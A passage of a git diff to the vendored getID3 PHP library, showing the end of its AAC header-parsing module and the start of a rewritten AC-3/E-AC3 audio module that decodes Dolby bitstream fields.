self::AACsampleRateLookup($info['aac']['program_configs'][$i]['sampling_frequency_index']); + $info['audio']['sample_rate'] = $info['aac']['program_configs'][$i]['sampling_frequency']; + $info['audio']['channels'] = self::AACchannelCountCalculate($info['aac']['program_configs'][$i]); + if ($info['aac']['program_configs'][$i]['comment_field']) { + $info['aac']['comments'][] = $info['aac']['program_configs'][$i]['comment_field']; + } + } + $info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']; + + $info['audio']['encoder_options'] = $info['aac']['header_type'].' '.$info['aac']['header']['profile']; + + + + return true; + + } else { + + unset($info['fileformat']); + unset($info['aac']); + $this->error('AAC-ADIF synch not found at offset '.$info['avdataoffset'].' (expected "ADIF", found "'.substr($AACheader, 0, 4).'" instead)'); + return false; + + } + + } + + /** + * @param int $MaxFramesToScan + * @param bool $ReturnExtendedInfo + * + * @return bool + */ + public function getAACADTSheaderFilepointer($MaxFramesToScan=1000000, $ReturnExtendedInfo=false) { + $info = &$this->getid3->info; + + // based loosely on code from AACfile by Jurgen Faul + // http://jfaul.de/atl or http://j-faul.virtualave.net/atl/atl.html + + + // http://faac.sourceforge.net/wiki/index.php?page=ADTS // dead link + // http://wiki.multimedia.cx/index.php?title=ADTS + + // * ADTS Fixed Header: these don't change from frame to frame + // syncword 12 always: '111111111111' + // ID 1 0: MPEG-4, 1: MPEG-2 + // MPEG layer 2 If you send AAC in MPEG-TS, set to 0 + // protection_absent 1 0: CRC present; 1: no CRC + // profile 2 0: AAC Main; 1: AAC LC (Low Complexity); 2: AAC SSR (Scalable Sample Rate); 3: AAC LTP (Long Term Prediction) + // sampling_frequency_index 4 15 not allowed + // private_bit 1 usually 0 + // channel_configuration 3 + // original/copy 1 0: original; 1: copy + // home 1 usually 0 + // emphasis 2 only if ID == 0 (ie MPEG-4) // not present in some documentation? + + // * ADTS Variable Header: these can change from frame to frame + // copyright_identification_bit 1 + // copyright_identification_start 1 + // aac_frame_length 13 length of the frame including header (in bytes) + // adts_buffer_fullness 11 0x7FF indicates VBR + // no_raw_data_blocks_in_frame 2 + + // * ADTS Error check + // crc_check 16 only if protection_absent == 0 + + $byteoffset = $info['avdataoffset']; + $framenumber = 0; + + // Init bit pattern array + static $decbin = array(); + + // Populate $bindec + for ($i = 0; $i < 256; $i++) { + $decbin[chr($i)] = str_pad(decbin($i), 8, '0', STR_PAD_LEFT); + } + + // used to calculate bitrate below + $BitrateCache = array(); + + + while (true) { + // breaks out when end-of-file encountered, or invalid data found, + // or MaxFramesToScan frames have been scanned + + if (!getid3_lib::intValueSupported($byteoffset)) { + $this->warning('Unable to parse AAC file beyond '.$this->ftell().' (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)'); + return false; + } + $this->fseek($byteoffset); + + // First get substring + $substring = $this->fread(9); // header is 7 bytes (or 9 if CRC is present) + $substringlength = strlen($substring); + if ($substringlength != 9) { + $this->error('Failed to read 7 bytes at offset '.($this->ftell() - $substringlength).' (only read '.$substringlength.' bytes)'); + return false; + } + // this would be easier with 64-bit math, but split it up to allow for 32-bit: + $header1 = getid3_lib::BigEndian2Int(substr($substring, 0, 2)); + $header2 = getid3_lib::BigEndian2Int(substr($substring, 2, 4)); + $header3 = getid3_lib::BigEndian2Int(substr($substring, 6, 1)); + + $info['aac']['header']['raw']['syncword'] = ($header1 & 0xFFF0) >> 4; + if ($info['aac']['header']['raw']['syncword'] != 0x0FFF) { + $this->error('Synch pattern (0x0FFF) not found at offset '.($this->ftell() - $substringlength).' (found 0x0'.strtoupper(dechex($info['aac']['header']['raw']['syncword'])).' instead)'); + //if ($info['fileformat'] == 'aac') { + // return true; + //} + unset($info['aac']); + return false; + } + + // Gather info for first frame only - this takes time to do 1000 times! + if ($framenumber == 0) { + $info['aac']['header_type'] = 'ADTS'; + $info['fileformat'] = 'aac'; + $info['audio']['dataformat'] = 'aac'; + + $info['aac']['header']['raw']['mpeg_version'] = ($header1 & 0x0008) >> 3; + $info['aac']['header']['raw']['mpeg_layer'] = ($header1 & 0x0006) >> 1; + $info['aac']['header']['raw']['protection_absent'] = ($header1 & 0x0001) >> 0; + + $info['aac']['header']['raw']['profile_code'] = ($header2 & 0xC0000000) >> 30; + $info['aac']['header']['raw']['sample_rate_code'] = ($header2 & 0x3C000000) >> 26; + $info['aac']['header']['raw']['private_stream'] = ($header2 & 0x02000000) >> 25; + $info['aac']['header']['raw']['channels_code'] = ($header2 & 0x01C00000) >> 22; + $info['aac']['header']['raw']['original'] = ($header2 & 0x00200000) >> 21; + $info['aac']['header']['raw']['home'] = ($header2 & 0x00100000) >> 20; + $info['aac']['header']['raw']['copyright_stream'] = ($header2 & 0x00080000) >> 19; + $info['aac']['header']['raw']['copyright_start'] = ($header2 & 0x00040000) >> 18; + $info['aac']['header']['raw']['frame_length'] = ($header2 & 0x0003FFE0) >> 5; + + $info['aac']['header']['mpeg_version'] = ($info['aac']['header']['raw']['mpeg_version'] ? 2 : 4); + $info['aac']['header']['crc_present'] = ($info['aac']['header']['raw']['protection_absent'] ? false: true); + $info['aac']['header']['profile'] = self::AACprofileLookup($info['aac']['header']['raw']['profile_code'], $info['aac']['header']['mpeg_version']); + $info['aac']['header']['sample_frequency'] = self::AACsampleRateLookup($info['aac']['header']['raw']['sample_rate_code']); + $info['aac']['header']['private'] = (bool) $info['aac']['header']['raw']['private_stream']; + $info['aac']['header']['original'] = (bool) $info['aac']['header']['raw']['original']; + $info['aac']['header']['home'] = (bool) $info['aac']['header']['raw']['home']; + $info['aac']['header']['channels'] = (($info['aac']['header']['raw']['channels_code'] == 7) ? 8 : $info['aac']['header']['raw']['channels_code']); + if ($ReturnExtendedInfo) { + $info['aac'][$framenumber]['copyright_id_bit'] = (bool) $info['aac']['header']['raw']['copyright_stream']; + $info['aac'][$framenumber]['copyright_id_start'] = (bool) $info['aac']['header']['raw']['copyright_start']; + } + + if ($info['aac']['header']['raw']['mpeg_layer'] != 0) { + $this->warning('Layer error - expected "0", found "'.$info['aac']['header']['raw']['mpeg_layer'].'" instead'); + } + if ($info['aac']['header']['sample_frequency'] == 0) { + $this->error('Corrupt AAC file: sample_frequency == zero'); + return false; + } + + $info['audio']['sample_rate'] = $info['aac']['header']['sample_frequency']; + $info['audio']['channels'] = $info['aac']['header']['channels']; + } + + $FrameLength = ($header2 & 0x0003FFE0) >> 5; + + if (!isset($BitrateCache[$FrameLength])) { + $BitrateCache[$FrameLength] = ($info['aac']['header']['sample_frequency'] / 1024) * $FrameLength * 8; + } + getid3_lib::safe_inc($info['aac']['bitrate_distribution'][$BitrateCache[$FrameLength]], 1); + + $info['aac'][$framenumber]['aac_frame_length'] = $FrameLength; + + $info['aac'][$framenumber]['adts_buffer_fullness'] = (($header2 & 0x0000001F) << 6) & (($header3 & 0xFC) >> 2); + if ($info['aac'][$framenumber]['adts_buffer_fullness'] == 0x07FF) { + $info['audio']['bitrate_mode'] = 'vbr'; + } else { + $info['audio']['bitrate_mode'] = 'cbr'; + } + $info['aac'][$framenumber]['num_raw_data_blocks'] = (($header3 & 0x03) >> 0); + + if ($info['aac']['header']['crc_present']) { + //$info['aac'][$framenumber]['crc'] = getid3_lib::BigEndian2Int(substr($substring, 7, 2); + } + + if (!$ReturnExtendedInfo) { + unset($info['aac'][$framenumber]); + } + + /* + $rounded_precision = 5000; + $info['aac']['bitrate_distribution_rounded'] = array(); + foreach ($info['aac']['bitrate_distribution'] as $bitrate => $count) { + $rounded_bitrate = round($bitrate / $rounded_precision) * $rounded_precision; + getid3_lib::safe_inc($info['aac']['bitrate_distribution_rounded'][$rounded_bitrate], $count); + } + ksort($info['aac']['bitrate_distribution_rounded']); + */ + + $byteoffset += $FrameLength; + if ((++$framenumber < $MaxFramesToScan) && (($byteoffset + 10) < $info['avdataend'])) { + + // keep scanning + + } else { + + $info['aac']['frames'] = $framenumber; + $info['playtime_seconds'] = ($info['avdataend'] / $byteoffset) * (($framenumber * 1024) / $info['aac']['header']['sample_frequency']); // (1 / % of file scanned) * (samples / (samples/sec)) = seconds + if ($info['playtime_seconds'] == 0) { + $this->error('Corrupt AAC file: playtime_seconds == zero'); + return false; + } + $info['audio']['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; + ksort($info['aac']['bitrate_distribution']); + + $info['audio']['encoder_options'] = $info['aac']['header_type'].' '.$info['aac']['header']['profile']; + + return true; + + } + } + // should never get here. + } + + /** + * @param int $samplerateid + * + * @return int|string + */ + public static function AACsampleRateLookup($samplerateid) { + static $AACsampleRateLookup = array(); + if (empty($AACsampleRateLookup)) { + $AACsampleRateLookup[0] = 96000; + $AACsampleRateLookup[1] = 88200; + $AACsampleRateLookup[2] = 64000; + $AACsampleRateLookup[3] = 48000; + $AACsampleRateLookup[4] = 44100; + $AACsampleRateLookup[5] = 32000; + $AACsampleRateLookup[6] = 24000; + $AACsampleRateLookup[7] = 22050; + $AACsampleRateLookup[8] = 16000; + $AACsampleRateLookup[9] = 12000; + $AACsampleRateLookup[10] = 11025; + $AACsampleRateLookup[11] = 8000; + $AACsampleRateLookup[12] = 0; + $AACsampleRateLookup[13] = 0; + $AACsampleRateLookup[14] = 0; + $AACsampleRateLookup[15] = 0; + } + return (isset($AACsampleRateLookup[$samplerateid]) ? $AACsampleRateLookup[$samplerateid] : 'invalid'); + } + + /** + * @param int $profileid + * @param int $mpegversion + * + * @return string + */ + public static function AACprofileLookup($profileid, $mpegversion) { + static $AACprofileLookup = array(); + if (empty($AACprofileLookup)) { + $AACprofileLookup[2][0] = 'Main profile'; + $AACprofileLookup[2][1] = 'Low Complexity profile (LC)'; + $AACprofileLookup[2][2] = 'Scalable Sample Rate profile (SSR)'; + $AACprofileLookup[2][3] = '(reserved)'; + $AACprofileLookup[4][0] = 'AAC_MAIN'; + $AACprofileLookup[4][1] = 'AAC_LC'; + $AACprofileLookup[4][2] = 'AAC_SSR'; + $AACprofileLookup[4][3] = 'AAC_LTP'; + } + return (isset($AACprofileLookup[$mpegversion][$profileid]) ? $AACprofileLookup[$mpegversion][$profileid] : 'invalid'); + } + + /** + * @param array $program_configs + * + * @return int + */ + public static function AACchannelCountCalculate($program_configs) { + $channels = 0; + for ($i = 0; $i < $program_configs['num_front_channel_elements']; $i++) { + $channels++; + if ($program_configs['front_element_is_cpe'][$i]) { + // each front element is channel pair (CPE = Channel Pair Element) + $channels++; + } + } + for ($i = 0; $i < $program_configs['num_side_channel_elements']; $i++) { + $channels++; + if ($program_configs['side_element_is_cpe'][$i]) { + // each side element is channel pair (CPE = Channel Pair Element) + $channels++; + } + } + for ($i = 0; $i < $program_configs['num_back_channel_elements']; $i++) { + $channels++; + if ($program_configs['back_element_is_cpe'][$i]) { + // each back element is channel pair (CPE = Channel Pair Element) + $channels++; + } + } + for ($i = 0; $i < $program_configs['num_lfe_channel_elements']; $i++) { + $channels++; + } + return $channels; + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.audio.ac3.php b/vendor/james-heinrich/getid3/getid3/module.audio.ac3.php index 4145be3dbe..636ff8f17b 100644 --- a/vendor/james-heinrich/getid3/getid3/module.audio.ac3.php +++ b/vendor/james-heinrich/getid3/getid3/module.audio.ac3.php @@ -1,823 +1,823 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.audio.ac3.php // -// module for analyzing AC-3 (aka Dolby Digital) audio files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_ac3 extends getid3_handler -{ - /** - * @var array - */ - private $AC3header = array(); - - /** - * @var int - */ - private $BSIoffset = 0; - - const syncword = 0x0B77; - - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - ///AH - $info['ac3']['raw']['bsi'] = array(); - $thisfile_ac3 = &$info['ac3']; - $thisfile_ac3_raw = &$thisfile_ac3['raw']; - $thisfile_ac3_raw_bsi = &$thisfile_ac3_raw['bsi']; - - - // http://www.atsc.org/standards/a_52a.pdf - - $info['fileformat'] = 'ac3'; - - // An AC-3 serial coded audio bit stream is made up of a sequence of synchronization frames - // Each synchronization frame contains 6 coded audio blocks (AB), each of which represent 256 - // new audio samples per channel. A synchronization information (SI) header at the beginning - // of each frame contains information needed to acquire and maintain synchronization. A - // bit stream information (BSI) header follows SI, and contains parameters describing the coded - // audio service. The coded audio blocks may be followed by an auxiliary data (Aux) field. At the - // end of each frame is an error check field that includes a CRC word for error detection. An - // additional CRC word is located in the SI header, the use of which, by a decoder, is optional. - // - // syncinfo() | bsi() | AB0 | AB1 | AB2 | AB3 | AB4 | AB5 | Aux | CRC - - // syncinfo() { - // syncword 16 - // crc1 16 - // fscod 2 - // frmsizecod 6 - // } /* end of syncinfo */ - - $this->fseek($info['avdataoffset']); - $tempAC3header = $this->fread(100); // should be enough to cover all data, there are some variable-length fields...? - $this->AC3header['syncinfo'] = getid3_lib::BigEndian2Int(substr($tempAC3header, 0, 2)); - $this->AC3header['bsi'] = getid3_lib::BigEndian2Bin(substr($tempAC3header, 2)); - $thisfile_ac3_raw_bsi['bsid'] = (getid3_lib::LittleEndian2Int(substr($tempAC3header, 5, 1)) & 0xF8) >> 3; // AC3 and E-AC3 put the "bsid" version identifier in the same place, but unfortnately the 4 bytes between the syncword and the version identifier are interpreted differently, so grab it here so the following code structure can make sense - unset($tempAC3header); - - if ($this->AC3header['syncinfo'] !== self::syncword) { - if (!$this->isDependencyFor('matroska')) { - unset($info['fileformat'], $info['ac3']); - return $this->error('Expecting "'.dechex(self::syncword).'" at offset '.$info['avdataoffset'].', found "'.dechex($this->AC3header['syncinfo']).'"'); - } - } - - $info['audio']['dataformat'] = 'ac3'; - $info['audio']['bitrate_mode'] = 'cbr'; - $info['audio']['lossless'] = false; - - if ($thisfile_ac3_raw_bsi['bsid'] <= 8) { - - $thisfile_ac3_raw_bsi['crc1'] = getid3_lib::Bin2Dec($this->readHeaderBSI(16)); - $thisfile_ac3_raw_bsi['fscod'] = $this->readHeaderBSI(2); // 5.4.1.3 - $thisfile_ac3_raw_bsi['frmsizecod'] = $this->readHeaderBSI(6); // 5.4.1.4 - if ($thisfile_ac3_raw_bsi['frmsizecod'] > 37) { // binary: 100101 - see Table 5.18 Frame Size Code Table (1 word = 16 bits) - $this->warning('Unexpected ac3.bsi.frmsizecod value: '.$thisfile_ac3_raw_bsi['frmsizecod'].', bitrate not set correctly'); - } - - $thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended - $thisfile_ac3_raw_bsi['bsmod'] = $this->readHeaderBSI(3); - $thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3); - - if ($thisfile_ac3_raw_bsi['acmod'] & 0x01) { - // If the lsb of acmod is a 1, center channel is in use and cmixlev follows in the bit stream. - $thisfile_ac3_raw_bsi['cmixlev'] = $this->readHeaderBSI(2); - $thisfile_ac3['center_mix_level'] = self::centerMixLevelLookup($thisfile_ac3_raw_bsi['cmixlev']); - } - - if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { - // If the msb of acmod is a 1, surround channels are in use and surmixlev follows in the bit stream. - $thisfile_ac3_raw_bsi['surmixlev'] = $this->readHeaderBSI(2); - $thisfile_ac3['surround_mix_level'] = self::surroundMixLevelLookup($thisfile_ac3_raw_bsi['surmixlev']); - } - - if ($thisfile_ac3_raw_bsi['acmod'] == 0x02) { - // When operating in the two channel mode, this 2-bit code indicates whether or not the program has been encoded in Dolby Surround. - $thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2); - $thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']); - } - - $thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1); - - // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. - // The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent. - $thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5); // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits - - $thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1); // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit - if ($thisfile_ac3_raw_bsi['flags']['compr']) { - $thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8); // 5.4.2.10 compr: Compression Gain Word, 8 Bits - $thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']); - } - - $thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1); // 5.4.2.11 langcode: Language Code Exists, 1 Bit - if ($thisfile_ac3_raw_bsi['flags']['langcod']) { - $thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8); // 5.4.2.12 langcod: Language Code, 8 Bits - } - - $thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1); // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit - if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) { - $thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5); // 5.4.2.14 mixlevel: Mixing Level, 5 Bits - $thisfile_ac3_raw_bsi['roomtyp'] = $this->readHeaderBSI(2); // 5.4.2.15 roomtyp: Room Type, 2 Bits - - $thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB'; - $thisfile_ac3['room_type'] = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']); - } - - - $thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5); // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits - $thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB'; // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent. - - $thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit - if ($thisfile_ac3_raw_bsi['flags']['compr2']) { - $thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8); // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits - $thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']); - } - - $thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit - if ($thisfile_ac3_raw_bsi['flags']['langcod2']) { - $thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8); // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits - } - - $thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit - if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) { - $thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5); // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits - $thisfile_ac3_raw_bsi['roomtyp2'] = $this->readHeaderBSI(2); // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits - - $thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB'; - $thisfile_ac3['room_type2'] = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']); - } - - $thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1); // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit - - $thisfile_ac3_raw_bsi['original'] = (bool) $this->readHeaderBSI(1); // 5.4.2.25 origbs: Original Bit Stream, 1 Bit - - $thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2); // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits - if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) { - $thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14); // 5.4.2.27 timecod1: Time code first half, 14 bits - $thisfile_ac3['timecode1'] = 0; - $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >> 9) * 3600; // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23 - $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >> 3) * 60; // The next 6 bits represent the time in minutes, with valid values of 0�59 - $thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >> 0) * 8; // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds) - } - if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) { - $thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14); // 5.4.2.28 timecod2: Time code second half, 14 bits - $thisfile_ac3['timecode2'] = 0; - $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) * 1; // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds) - $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >> 6) * (1 / 30); // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second) - $thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >> 0) * ((1 / 30) / 60); // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63 - } - - $thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['addbsi']) { - $thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively. - - $this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length'])); - - $thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8); - $this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8; - } - - - } elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3 - - - $this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.'); - $info['audio']['dataformat'] = 'eac3'; - - $thisfile_ac3_raw_bsi['strmtyp'] = $this->readHeaderBSI(2); - $thisfile_ac3_raw_bsi['substreamid'] = $this->readHeaderBSI(3); - $thisfile_ac3_raw_bsi['frmsiz'] = $this->readHeaderBSI(11); - $thisfile_ac3_raw_bsi['fscod'] = $this->readHeaderBSI(2); - if ($thisfile_ac3_raw_bsi['fscod'] == 3) { - $thisfile_ac3_raw_bsi['fscod2'] = $this->readHeaderBSI(2); - $thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe - } else { - $thisfile_ac3_raw_bsi['numblkscod'] = $this->readHeaderBSI(2); - } - $thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']); - $thisfile_ac3_raw_bsi['acmod'] = $this->readHeaderBSI(3); - $thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1); - $thisfile_ac3_raw_bsi['bsid'] = $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended - $thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5); - $thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['compr']) { - $thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8); - } - if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) - $thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5); - $thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['compr2']) { - $thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8); - } - } - if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream - $thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['chanmap']) { - $thisfile_ac3_raw_bsi['chanmap'] = $this->readHeaderBSI(8); - } - } - $thisfile_ac3_raw_bsi['flags']['mixmdat'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata - if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels - $thisfile_ac3_raw_bsi['dmixmod'] = $this->readHeaderBSI(2); - } - if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist - $thisfile_ac3_raw_bsi['ltrtcmixlev'] = $this->readHeaderBSI(3); - $thisfile_ac3_raw_bsi['lorocmixlev'] = $this->readHeaderBSI(3); - } - if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists - $thisfile_ac3_raw_bsi['ltrtsurmixlev'] = $this->readHeaderBSI(3); - $thisfile_ac3_raw_bsi['lorosurmixlev'] = $this->readHeaderBSI(3); - } - if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists - $thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) { - $thisfile_ac3_raw_bsi['lfemixlevcod'] = $this->readHeaderBSI(5); - } - } - if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream - $thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) { - $thisfile_ac3_raw_bsi['pgmscl'] = $this->readHeaderBSI(6); - } - if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value) - $thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) { - $thisfile_ac3_raw_bsi['pgmscl2'] = $this->readHeaderBSI(6); - } - } - $thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1); - if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) { - $thisfile_ac3_raw_bsi['extpgmscl'] = $this->readHeaderBSI(6); - } - $thisfile_ac3_raw_bsi['mixdef'] = $this->readHeaderBSI(2); - if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2 - $thisfile_ac3_raw_bsi['premixcmpsel'] = (bool) $this->readHeaderBSI(1); - $thisfile_ac3_raw_bsi['drcsrc'] = (bool) $this->readHeaderBSI(1); - $thisfile_ac3_raw_bsi['premixcmpscl'] = $this->readHeaderBSI(3); - } elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3 - $thisfile_ac3_raw_bsi['mixdata'] = $this->readHeaderBSI(12); - } elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4 - $mixdefbitsread = 0; - $thisfile_ac3_raw_bsi['mixdeflen'] = $this->readHeaderBSI(5); $mixdefbitsread += 5; - $thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) { - $thisfile_ac3_raw_bsi['premixcmpsel'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - $thisfile_ac3_raw_bsi['drcsrc'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - $thisfile_ac3_raw_bsi['premixcmpscl'] = $this->readHeaderBSI(3); $mixdefbitsread += 3; - $thisfile_ac3_raw_bsi['flags']['extpgmlscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) { - $thisfile_ac3_raw_bsi['extpgmlscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['extpgmcscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) { - $thisfile_ac3_raw_bsi['extpgmcscl'] = $this->readHeaderBSI(4); $mixdefbitsread += 4; - } - $thisfile_ac3_raw_bsi['flags']['extpgmrscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) { - $thisfile_ac3_raw_bsi['extpgmrscl'] = $this->readHeaderBSI(4); - } - $thisfile_ac3_raw_bsi['flags']['extpgmlsscl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1; - if 